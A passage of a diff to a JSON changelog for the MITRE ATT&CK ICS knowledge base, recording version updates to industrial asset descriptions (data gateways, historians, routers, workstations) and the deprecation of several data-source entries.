-3,6 +3,7 @@\\n * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. \\n * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. \\n * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. \\n+* Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes.\\n \\n Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][3]\": \"Network\", \"root['x_mitre_related_assets'][2]\": {\"name\": \"Industrial Edge\", \"related_asset_sectors\": [\"General\"], \"description\": \"Devices that may house a cellular or other type of communication stack that is outside the normal network path. May be bi-directional access by outside parties or unidirectional by design to allow for feeding of data to outside areas such as corporate, vendor, or cloud.\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Data Gateway is a device that supports the communication andt1Data Gateway is a device that supports the communication and
> exchange of data between different systems, networks, or pr> exchange of data between different systems, networks, or pr
>otocols within the ICS. Different types of data gateways are>otocols within the ICS. Different types of data gateways are
> used to perform various functions, including:   *  <u>Proto> used to perform various functions, including:   *  <u>Proto
>col Translation:</u> Enable communication to devices that su>col Translation:</u> Enable communication to devices that su
>pport different or incompatible protocols by translating inf>pport different or incompatible protocols by translating inf
>ormation from one protocol to another.   *  <u>Media Convert>ormation from one protocol to another.   *  <u>Media Convert
>er:</u> Convert data across different Layer 1 and 2 network >er:</u> Convert data across different Layer 1 and 2 network 
>protocols / mediums, for example, converting from Serial to >protocols / mediums, for example, converting from Serial to 
>Ethernet.   *  <u>Data Aggregation:</u> Collect and combine >Ethernet.   *  <u>Data Aggregation:</u> Collect and combine 
>data from different devices into one consistent format and p>data from different devices into one consistent format and p
>rotocol interface.   Data gateways are often critical to the>rotocol interface.  *  <u>Data Mirroring:</u> Create a real-
> forwarding/transmission of critical control or monitoring d>time, exact copy of data streams from devices to a separate 
>ata within the ICS. Further, these devices often have remote>destination for redundancy, monitoring, or backup purposes. 
> various network services that are used to communicate acros> Data gateways are often critical to the forwarding/transmis
>s different zones or networks.    These assets may focus on >sion of critical control or monitoring data within the ICS. 
>a single function listed below or combinations of these func>Further, these devices often have remote various network ser
>tions to best fit the industry use-case.  >vices that are used to communicate across different zones or
 > networks.    These assets may focus on a single function li
 >sted below or combinations of these functions to best fit th
 >e industry use-case.  
" + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--e2c3336a-dd93-44d6-8246-f93cf132c499", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-28 14:48:36.305000+00:00", + "modified": "2025-10-21 19:55:17.864000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0006", + "external_id": "A0006" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Data Historian", + "description": "Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. Many data historian vendors have designed their software to securely transfer data between the ICS and business networks instead of requiring business systems to access the data historian in the ICS network directly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Embedded" + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:55:17.864000+00:00\", \"old_value\": \"2023-10-04 17:57:56.558000+00:00\"}, \"root['description']\": {\"new_value\": \"Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. Many data historian vendors have designed their software to securely transfer data between the ICS and business networks instead of requiring business systems to access the data historian in the ICS network directly.\", \"old_value\": \"Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Data historians, or historian, are systems used to collect at1Data historians, or historian, are systems used to collect a
>nd store data, including telemetry, events, alerts, and alar>nd store data, including telemetry, events, alerts, and alar
>ms about the operational process and supporting devices. The>ms about the operational process and supporting devices. The
> historian typically utilizes a database to store this data,> historian typically utilizes a database to store this data,
> and commonly provide tools and interfaces to support the an> and commonly provide tools and interfaces to support the an
>alysis of the data. Data historians are often used to suppor>alysis of the data. Data historians are often used to suppor
>t various engineering or business analysis functions and the>t various engineering or business analysis functions and the
>refore commonly needs access from the corporate network. Dat>refore commonly needs access from the corporate network. Dat
>a historians often work in a hierarchical paradigm where low>a historians often work in a hierarchical paradigm where low
>er/site level historians collect and store data which is the>er/site level historians collect and store data which is the
>n aggregated into a site/plant level historian. Therefore, d>n aggregated into a site/plant level historian. Therefore, d
>ata historians often have remote services that can be access>ata historians often have remote services that can be access
>ed externally from the ICS network.>ed externally from the ICS network. Many data historian vend
 >ors have designed their software to securely transfer data b
 >etween the ICS and business networks instead of requiring bu
 >siness systems to access the data historian in the ICS netwo
 >rk directly.
" + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--dcb1d1c1-b195-45bf-b4cf-5b98c5b859a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-29 18:55:09.319000+00:00", + "modified": "2025-10-21 19:56:56.316000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0014", + "external_id": "A0014" + }, + { + "source_name": "IETF RFC4949 2007", + "description": "Internet Engineering Task Force. (2007, August). Internet Security Glossary, Version 2. Retrieved September 29, 2023.", + "url": "https://www.ietf.org/rfc/rfc4949.txt" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Routers", + "description": "A computer that is a gateway between two networks at OSI layer 3 and that relays and directs data packets through that inter-network. The most common form of router operates on IP packets.(Citation: IETF RFC4949 2007)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Embedded", + "Network" + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:56:56.316000+00:00\", \"old_value\": \"2023-10-16 18:49:26.400000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Network\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-asset", + "id": "x-mitre-asset--f1315d02-9118-4e3b-8cdf-4c2d3f77ce41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-28 14:22:49.837000+00:00", + "modified": "2025-10-21 19:58:23.607000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/assets/A0001", + "external_id": "A0001" + }, + { + "source_name": "North American Electric Reliability Corporation June 2021", + "description": "North American Electric Reliability Corporation 2021, June 28 Glossary of Terms Used in NERC Reliability Standards Retrieved. 2021/10/11 ", + "url": "https://www.nerc.com/pa/Stand/Glossary%20of%20Terms/Glossary_of_Terms.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Workstation", + "description": "Workstations are devices used by human operators or engineers to perform various configuration, programming, maintenance, diagnostic, or operational tasks. Workstations typically utilize standard desktop or laptop hardware and operating systems (e.g., MS Windows), but run dedicated control system applications or diagnostic/management software to support interfacing with the control servers or field devices. Some workstations have a fixed location within the network architecture, while others are transient devices that are directly connected to various field devices to support local management activities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_related_assets": [ + { + "name": "Transient Cyber Asset (TCA)", + "related_asset_sectors": [ + "Electric" + ], + "description": "A Transient Cyber Asset (TCA)(Citation: North American Electric Reliability Corporation June 2021) is a mobile workstation that is used to support management functions across multiple different networks, rather than being dedicated to any specific device/network. The TCA is often used to directly manage ICS environments that do not have any dedicated support for external remote access. Therefore, the TCA provides a mechanism for connectivity and file transfer to many networks/devices, even if they are segmented or \u201cair gapped\u201d from other networks. " + }, + { + "name": "Engineering Workstation (EWS)", + "related_asset_sectors": [ + "General" + ], + "description": "An Engineering Workstation (EWS) is used to perform various maintenance, configuration, or diagnostics functions for a control system. The EWS will likely require dedicated application software to interface with various devices (e.g., RTUs, PLCs), and may be used to transfer data or files between the control system devices and other networks. " + } + ], + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_sectors": [ + "General" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:58:23.607000+00:00\", \"old_value\": \"2023-09-28 14:23:52.358000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Linux\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [ + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0015", + "external_id": "DS0015" + }, + { + "source_name": "Confluence Logs", + "description": "Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Log", + "description": "Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:03.068000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-11 16:22:58.802000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0039", + "external_id": "DS0039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Asset", + "description": "Data sources with information about the set of devices found within the network, along with their current software and configurations", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:26:35.809000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0017", + "external_id": "DS0017" + }, + { + "source_name": "Confluence Linux Command Line", + "description": "Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html" + }, + { + "source_name": "Audit OSX", + "description": "Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.", + "url": "https://www.scip.ch/en/?labs.20150108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command", + "description": "A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Austin Clark, @c2defense" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "Network Devices", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:26.880000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0016", + "external_id": "DS0016" + }, + { + "source_name": "Sysmon EID 9", + "description": "Russinovich, R. & Garnier, T. (2021, August 18). Sysmon Event ID 9. Retrieved September 24, 2021.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon#event-id-9-rawaccessread" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive", + "description": "A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:06.700000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0022", + "external_id": "DS0022" + }, + { + "source_name": "Microsoft File Mgmt", + "description": "Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File", + "description": "A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:10:04.845000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.265000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0001", + "external_id": "DS0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firmware", + "description": "Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:07.251000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0028", + "external_id": "DS0028" + }, + { + "source_name": "Microsoft Audit Logon Events", + "description": "Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session", + "description": "Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:19.778000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0011", + "external_id": "DS0011" + }, + { + "source_name": "Microsoft LoadLibrary", + "description": "Microsoft. (2018, December 5). LoadLibraryA function (libloaderapi.h). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya" + }, + { + "source_name": "Microsoft Module Class", + "description": "Microsoft. (n.d.). Module Class. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.reflection.module" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Module", + "description": "Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:06.151000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0033", + "external_id": "DS0033" + }, + { + "source_name": "Microsoft NFS Overview", + "description": "Microsoft. (2018, July 9). Network File System overview. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Share", + "description": "A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:03.613000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0029", + "external_id": "DS0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic", + "description": "Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "ExtraHop" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:13.424000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-11 16:22:58.802000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0040", + "external_id": "DS0040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Operational Databases", + "description": "Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": 